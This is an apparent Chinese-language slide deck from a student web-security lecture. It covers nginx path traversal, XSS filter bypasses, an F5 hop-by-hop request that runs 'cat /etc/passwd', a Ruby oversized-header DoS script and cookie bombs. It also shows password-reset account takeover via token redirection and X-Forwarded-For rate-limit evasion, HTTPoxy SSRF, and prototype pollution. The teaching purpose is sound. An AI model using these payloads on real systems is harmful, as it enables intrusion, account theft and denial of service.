聯課-Web Security
講師:堇姬
聯課 2024.2.24
堇姬Naup(網管/美宣)
成電二年級/幽夜工作室繪師/台灣好厲駭學員
CKCSC36
DC : naup_sumire_hime
只是個喜歡資安的鶴,涉獵Crypto、Web、OSINT,最近有打算學reverse,我是Web狗
喜歡看輕小說、動畫、Vtuber、打音遊、畫畫,就是一個長年混跡ACG的宅女。
水銀燈我老婆
https://naupjjin.github.io/
一些經歷
- 台灣好厲駭第八屆學員
- 金盾獎國高中組 | 決賽
- T貓盃國高中組 | 冠軍
- CGGC網路守護者挑戰賽 | 第九名
- AIS3 EOF | 初賽42名 | 決賽第四名 & 潛力獎
漏洞紀錄
-
成功高中宿疾調查系統
-
臺北庫克雲網站
...(還有一些不能丟的)
成功高中宿疾調查系統
台灣很多網站至今仍是隨手一打就一堆洞的狀況
Linux娘圖鑑
Ubuntu娘
Arch Linux 娘
Debian娘
Manjaro娘
Unix娘
Fedora娘
openSUSE娘
NixOS娘
ArchLabs娘
LFS娘
Windows娘圖鑑
WIN10
WIN11
WIN95
WIN8
WIN7
Windows Me
Windows 2000
Windows XP
Windows XP HOME
Windows Vista
Windows CE
Windows Server 2003
Windows NT4.0
WINDOWS 3.1
本日重點
-
Web Security
-
經典問題-Off-by-Slash
-
前端各種奇技淫巧
-
框架從簡單到複雜衍生的漏洞
-
Cookie來執行DoS攻擊
-
重設密碼到帳號奪取漏洞
-
跨領域、跨規範組合衍生漏洞
-
JS 奇特特性(有空就說)
slido
小調查
在座有人是資安人嗎?有打過CTF之類的嗎?
資安是甚麼?
甚麼是駭客?
成為一個web hacker
-
了解各種網路的運作原理、底層邏輯
-
觀察力
-
創造力
-
一個網站程式怎麼跑的(源代碼、底層、架構、運作方式)
-
查資料 & 蒐集資訊
當個機車的使用者
駭客法則
CTF
資安搶旗賽,是現實漏洞的縮影
-
Web
-
Crypto
-
pwn
-
reverse
-
misc
常見五個種類
其他種類
-
forensics
-
OSINT
當你成功解出題目時,會的到一串flag,這就是答案
ex: ckcscCTF{1t_1s_th3_f1a9!}
pre exam
Discord
CTFd
web security
前端
後端
資料庫
SSTI
reflect-XSS
command-injection
Deserialization
CSRF
IDOR
SQL-injection
各種跟網站及網際網路有關的都可以稱為web
學習Web Security不只可以攻擊,也可以防守,修補自己網站,讓自己開發的專案不會寫出漏洞
本日目標
免責聲明
本課程不鼓勵去亂打公網上的任何網站,如學員有違法之事宜,自行負責
總之要打自己負責
Off-by-Slash
那美好的用SQL injection打遍天下的美好時代一去不復返,現在的web security可以用一個字表示
捲
舉個栗子
Nginx
- Nginx 最主要的功能是作為網頁伺服器,處理來自網路的 HTTP 請求,並返回相對應的內容。
- Nginx 也常常被使用為反向代理伺服器,這樣可以大大提升網站的效能
http://server/static /main.js
location /static {
alias /home/app/static ;
}
/home/app/static/main.js
location
就像是 routing,設定不同的 path 要對應到怎麼樣的設定
哪個有漏洞?
location /static {
alias /home/app/static ;
}
location /static/ {
alias /home/app/static ;
}
location /static {
alias /home/app/static/ ;
}
location /static/ {
alias /home/app/static/ ;
}
A
B
C
D
location /static {
alias /home/app/static/ ;
}
C
http://server/static ../settings.py
/home/app/static/../settings.py
代理
PATH TRAVERSAL
你覺得nginx官方對這個漏洞的態度是甚麼?
前端各種奇技淫巧
可以使得任意 JavaScript 程式碼插入到網站頁面中執行以達到攻擊目的
<script>alert(1)</script>
第一次愛麗絲遊戲
XSS 禁用大賽
真紅發現自己的網站會被XSS攻擊,於是禁掉<script>的使用
但是沒關係,不只有<script>裡面可以執行js
<img src=non_exist onerror=alert(1)>
載入一張不存在的圖片,就會觸發 onerror 事件,執行到裡面的程式碼
<svg onload=alert(1)>
也可以改用這種
一刻也沒有為script被禁掉感到哀悼,下一個被真紅禁掉的是空格
會贏喔
見到空格被ban的水銀燈陷入長考,突然想到了一個方法
<svg/onload=alert(1)> -->/
<svg onload=alert(1)> --> tab
<svg
onload=alert(1)> -->換行
上一輪失敗讓他了解到他ban錯了,應該要ban的是onxxx之類的event handler
只要沒辦法用 event handler,就沒辦法 XSS 吧?
順便禁又javascript,以防使用javascipt偽協議
原本扣著的javascipt偽協議底牌一同被ban,所以無法使用這個
<iframe/src="javascript:alert(1)">
思考了一陣子,突然發現他沒ban乾淨,我可以這樣,塞入tab,XSS啟動
<iframe/src="javas cript:alert(1)">
無聊的最後掙扎
最後他將空白、空行或是 tab 全都取代成空字串
此時的水銀燈翻開了覆蓋的陷阱卡,當你把關鍵字禁掉時,我可以使用編碼
<iframe/src="javascript:alert(1)">
j 的 ascii code 是 106,就可以編碼成 j
結界術真難呀,沒辦法了,領域展開,DOMPurify
最終真紅靠著外掛打贏了
JavaScript 本身的繞過
1.有沒有辦法在不使用 () 的狀況下執行函式?
alert`1`
2.連反引號都不能用呢?
onerror=alert;throw 1
拋出一個錯誤,而這個錯誤因為沒有被 catch 到,就會被 onerror 接住,最後被丟到 alert 裡面執行
onerror=eval;
throw "=alert\x281\x29"
跟剛剛一樣,只是這次換成eval,可以做到執行更多種類JS,不過第二行在幹嘛
為什麼前面多一個 =
- throw 1會產生 Uncaught 1
- throw "=alert\x281\x29" 會產生 Uncaught =alert\x281\x29
- 這樣丟到eval裡才會正常執行
\x28 跟 \x29,分別是 () 的編碼
第二次愛麗絲遊戲
XSS 壓長大賽
只要水銀燈能想25字內能任意執行程式碼的payload就可以勝利(只執行alert沒有殺傷力)
<svg/onload=>
XSS基礎骨架 -> 13個字
僅剩下12個字的空間可以用,根本無法達到任意執行
可以利用現有資訊
<svg/onload=eval(`'`+location)>
--> 31字
嘗試去拿網址,因為網址後面可以接payload,並用eval執行JS
但是網址不是JS程式碼,所以想法是
'網址';JS
https://example.com/#';alert(1)
'https://example.com#';alert(1)
這想法看起來可行,但是還是太長
不過可以注意到一件事,就是location是不是太長了
document.URL ->URL
document.URL其實也可以抓到網址但更長,不過其實可以寫成URL
event handler 裡面的JS程式碼,預設就會有 document 這個 scope
悲慘了,26個字,差一個字就可以壓進25字內
name = 123
console.log(typeof name === 'number')
你們覺得他會輸出True還是False?
為啥輸出false?????
其實是因為這裡的name的型別是string!!!
- name是一個特別的屬性
代表該分頁的名字 ->同一個分頁儘管內容不同,依然會共享同一個名稱
<script>
name = 'alert(1)'
window.location = 'http://example.com'
</script>
我在我的網頁寫下這段code,在跳轉到example.com
並在目標網站注入該payload
<svg/onload=eval(name)>
23字!!!
看完上述的奇特技巧腦袋應該快燒了,這是人類能想出來的嗎
所以結論是水銀燈跟真紅去貼貼啦
框架從簡單到複雜衍生的漏洞
hop-by-hop attack
X-Important-Header被刪掉可能導致意外洩漏資訊
POST /mgmt/tm/util/bash HTTP/1.1
Host: 127.0.0.1
Authorization: Basic YWRtaW46aG9yaXpvbjM=
X-F5-Auth-Token: asdf
Connection: close, X-F5-Auth-Token
Content-Length: 55
{"command": "run", "utilCmdArgs": "-c cat /etc/passwd"}
RCE
Web Cache Deception
甚麼是快取?
有些靜態資源會時常被使用者訪問,所以他會放在cache server中,這樣就不用再到遠端server抓取資料了
這裡有個問題,什麼樣的資料應該被cache?
快取不應該存取任何敏感資訊的公共文件和靜態文件
https://naup.tw/css/test.css
css可以被存取,因為他不是敏感文件
https://naup.tw/profile
不應該被存取,因為你的profile中可能有敏感內容
https://naup.tw/profile.css
會被cache到嗎?
如果被cache到的話,這個頁面就會被cache server存取下來,並且對應到連結
https://naup.tw/profile.css
Data leak
不會驗證你身分可直接看到!!!
另外我老婆可愛的照片不應該被cache
Cookie來執行DoS攻擊
DoS VS DDoS
攻擊方大量產生封包或請求,使目標系統資源耗盡,最終讓服務中斷或停止
利用連網的電腦網路從多點進行來針對目標伺服器
什麼是 Cookie?
Cookie是指某些網站為了辨別使用者的身分而在用戶端瀏覽器上存儲的一些小型文本檔案
使
用
者
瀏
覽
器
我已滿18歲
GET / HTTP/1.1
HTTP/1.1 200 OK
Set-Cookie: over18=1
設定cookie到瀏覽器
使
用
者
瀏
覽
器
再次訪問
GET / HTTP/1.1
HTTP/1.1 200 OK
over18=1,直接通過
這兩個東西怎麼結合?
http://naup.com?uid=1111
cookie: uid=1111
既然這東西可控那你有沒有想過寫入一堆東西到cookie呢?
http://naup.com?uid='a'*4000
當你塞入多達8kb得資料到cookie時?
1.網址改一下,讓 cookie 變很大,想辦法讓大小超過 8kb(較多 server 的限制都是 8kb)
2.把這個網址傳給攻擊目標,並想辦法讓他點開
3.目標點了網址,在瀏覽器上面設了一個很大的 cookie
4.目標造訪網站發現看不到內容
攻擊流程
484覺得有點廢,但他可以發展出一些攻擊面
首先先問有沒有人有想到什麼樣的攻擊面?
有沒有人想過,如果我透過naup.github.io設置了cookie,同時會在github.io設置cookie,這樣使用github.io的網站都會被炸到
root domain
subdomain
subdomain
subdomain
應該是沒有這麼智障,正常來說都會設定好
-
a.com.tw 如果可以設置 cookie 到.com.tw或是.tw
-
https://www.mof.gov.tw/如果可以透過汙染gov.tw,來影響 https://www.president.gov.tw/
出現在上面的 domain,其 subdomain 都沒辦法直接設定該 domain 的 cookie
但其實並非不可行,只要沒出現在上面的就可以拿來利用
不過其實有難度你知道的服務幾乎都已經註冊了
舉個栗子
Azure CDN
在 Azure 上上傳一個會自己設很大cookie的html檔案然後設置一下 CDN,就可以得到一個自訂的網址
https://naup.azureedge.net/a.html
azureedge.net
naup.azureedge.net
xxx.azureedge.net
...
xxx.azureedge.net
通常azureedge.net會拿來存一些資源,如圖片、CSS、JS,這些資源的抓取都會受到影響,所以實際影響的範圍會更廣
另一個思路
接下來要做的事是結合
Cache poisoning
Cookie Bomb
想辦法讓 cache server 存的 cache 是壞掉的那一份
這樣子不一定要用cookie,其實可以使用其他request header來塞爆
require 'net/http'
uri = URI("https://example.org/index.html")
req = Net::HTTP::Get.new(uri)
num = 200
i = 0
# Setting malicious and irrelevant headers fields for creating an oversized header
until i > num do
req["X-Oversized-Header-#{i}"] = "Big-Value-0000000000000000000000000000000000"
i +=1;
end
res = Net::HTTP.start(uri.hostname, uri.port, :use_ssl => uri.scheme == 'https') {|http|
http.request(req)
}
重設密碼到帳號奪取漏洞
重設密碼你想到了甚麼?
為甚麼不找回舊密碼而是使用重設密碼?
username:Mercury
password:test123
username:Mercury
password:test123
存起來
你覺得上述運作流程是正確的嗎?
你覺得理論上有哪些人會知道水銀燈的密碼?
username:Mercury
password:test123
username:Mercury
password:ecd71870d1963316a97e3ac3408c9835ad8cf0f3c1bc703527c30265534f75ae
存起來
- sha256
實際上只有本人會知道密碼,就連網站管理者都不知道你的密碼,因為密碼會以雜湊的方式被存取
- 使用者填入當初註冊帳號時的 email
- 系統寄送重設密碼的連結到第一步的 email
- 使用者點擊信中的連結,前往重設密碼頁面
- 使用者輸入新的密碼,送出表單
- 密碼重設成功,使用者可以利用新的密碼登入
重設密碼典型五步驟
你覺得要保證重設密碼安全應該要做到那些事?
-
系統寄送信件的目的地,真的是使用者本人的 email
-
重設密碼的連結無法被猜出來
第一點看起來很智障
填Mercury@gmail.com就應該寄到水銀燈老婆手上吧?
但其實不然,正常來說會去檢查你填的跟原本註冊的帳號有沒有一樣,但是如果傳輸的是一個陣列呢?
["Mercury@gmail.com", "attacker@gmail.com]
我老婆帳號就被偷了,各位一起學資安,保護老婆帳號不被偷走,守護老婆笑容
再來看第二個,這個我們直接看實例
{
"operationName":"SendVerificationCode",
"variables":{
"input":{
"email":"user@example.com",
"type":"password_reset",
"redirectUrl":"https://matters.news/forget?email=user%40example.com"
}
}
}
request
https://matters.news/forget?email=user%40example.com&code=UYBQ912rhd_9s3TfywZnk1kQl6PCaDjPlXuNX3Df&type=password_reset
修改 redirectUrl 參數,修改成 https://naup.com
https://naup.com/forget?email=user%40example.com&code=UYBQ912rhd_9s3TfywZnk1kQl6PCaDjPlXuNX3Df&type=password_reset
如果受害者點擊他就會整串被發到我的server
再來是暴力破解
他的Token看起來超安全,是一個由長度40的來當作Token
不過matters在github上有開源,所以可以去看看他是怎麼生成token的
const { code } = await userService.createVerificationCode({
userId: viewer.id,
email,
type,
strong: !!redirectUrl, // strong random code for link
})
createVerificationCode = ({
userId,
email,
type,
strong,
expiredAt,
}: {
userId?: string | null
email: string
type: string
strong?: boolean
expiredAt?: Date
}) => {
const code = strong ? nanoid(40) : _.random(100000, 999999)
return this.baseCreate(
{
uuid: v4(),
userId,
email,
type,
code,
expiredAt:
expiredAt || new Date(Date.now() + VERIFICATION_CODE_EXIPRED_AFTER),
},
'verification_code'
)
}
把 redirectUrl 參數拿掉,code 會從 40 個字,瞬間降低成六位數的數字!!!
驗證有效時間是5分鐘,所以代表一秒鐘要發3000個請求
1.rate limiting?
2.server無法處理那麼多
limit_req_zone $http_x_forwarded_for zone=application:16m rate=5r/s;
limit_req zone=application burst=20 nodelay;
limit_req_status 429;
limit_conn_status 429;
# pass real IP from client to NGINX
real_ip_header X-Forwarded-For;
set_real_ip_from 0.0.0.0/0;
server {
# set error page for HTTP code 429
error_page 429 @ratelimit;
location @ratelimit {
return 429 '["Connection Limit Exceeded"]\n';
}
listen 80;
}
nginx rate limiting
...
ip相同
...
request
request
request
server
方法一:
方法二:
X-Forwarded-For 來偽造任意 IP
每秒要3000個還是有點多,要如何減少?
-
重設密碼的 token 應該只能使用一次
-
重設密碼的 token 應該要有過期時間
-
如果使用者產生了新的重設密碼 token,舊的應該要廢棄
matters第三點沒做好,如果你重新發送,舊的驗證沒有廢棄
先發送 1000 次的重設密碼請求
猜一次
猜1000次
猜5000次
67%
99.6%
所以最終只需要1000個重設密碼請求+5000猜驗證碼請求
6000個
我老婆帳號就被偷了,各位一起買養樂多,多補充乳酸菌
跨領域、跨規範組合衍生漏洞
web security有的東西越來越多,能夠嘗試組合在一起的越來越多了,如跨協議或規範組合的誤用等也是一個可以嘗試發展的點
一個沒什麼問題的東西 + 一個沒什麼問題的東西 =
大漏洞
HTTPoxy attack
CGI & PHP FastCGI規範 (RFC 3875)
- 伺服器必須對每個請求設置這些元變數
- 元變數根據現有的 HTTP Header 加上 HTTP_ 前綴
- RFC 無規範元變數要存哪 (但大部分的實作皆放進環境變數)
GET / HTTP/1.1
Host: naup.tw
User-Agent: Mozilla/5.0
HTTP_HOST=naup.tw
HTTP_USER_AGENT=Mozila/5
HTTP_PROXY
是一個環境變數,用於指定在進行 HTTP 請求時要使用的proxy server
這是個約定俗成的,會直接抓環境變數的來用
export HTTP_PROXY=http://proxy_server
看出問題了嗎?
快取不應該存取任何敏感資訊的公共文件和靜態文件
RFC 命名規範跟 HTTP 函數庫約定成俗的變數撞名
GET /index.php HTTP/1.1
Host: naup.tw
User-Agent: Mozilla/5.0
PROXY: http://your-server/
HTTP_HOST=naup.tw
HTTP_USER_AGENT=Mozila/5
HTTP_PROXY= http://your-server/
proxy server被當成目標server內部請求來訪問
SSRF
JS奇特特性
Prototype pollution
var str = "a"
var str2 = str.repeat(5)
console.log(str2)
你有沒有想過當你在用一些內建函式的時候,這些函式是從哪裡來的?
去MDN看一下發現他寫 String.prototype.repeat
因此我們知道,我們再用repeat這個方法時不是因為str底下有這個方法
在 JS 中有一個隱藏的屬性,叫做 __proto__
它儲存的值就是 JS 引擎應該往上找的地方
var str = ""
console.log(str.__proto__) // String.prototype
repeat 函式其實是存在於 String.prototype 這個物件上的一個方法
var obj = {}
console.log(obj.a) // undefined
console.log(obj.toString) // ƒ toString() { [native code] }
obj是個空物件
var obj = {}
console.log(obj.toString === Object.prototype.toString) // true
我可以改變prototype上的東西嗎?
String.prototype.first = function() {
return this[0]
}
console.log("abc".first()) // a
可以
Object.prototype.a = 123
var obj = {}
console.log(obj.a) // 123
Object.prototype.a = 123
var obj = {}
console.log(obj.a) // 123
你發現了嗎?有可以拿來利用的漏洞
我們透過 Object.prototype.a = 123「污染」了物件原型上的 a 這個屬性,導致程式在存取物件時,有可能出現意想不到的行為
if (user.isAdmin) {
// do some privileged operations
}
這裡用來驗證你是不是admin,user.isAdmin是用來存取你是不是admin的
http://server/?__proto__[isAdmin]=true
Admin
Prototype-pollution2RCE
Prototype-pollution+reverse shell
RCE
Q&A
這很重要,一定要填!!!
薔薇少女(水銀燈真的好婆)
EOF閒聊
-
pwn2own
-
attack & defense
-
King of Hill
Web Security-IZCC
By naup96321
Web Security-IZCC
- 82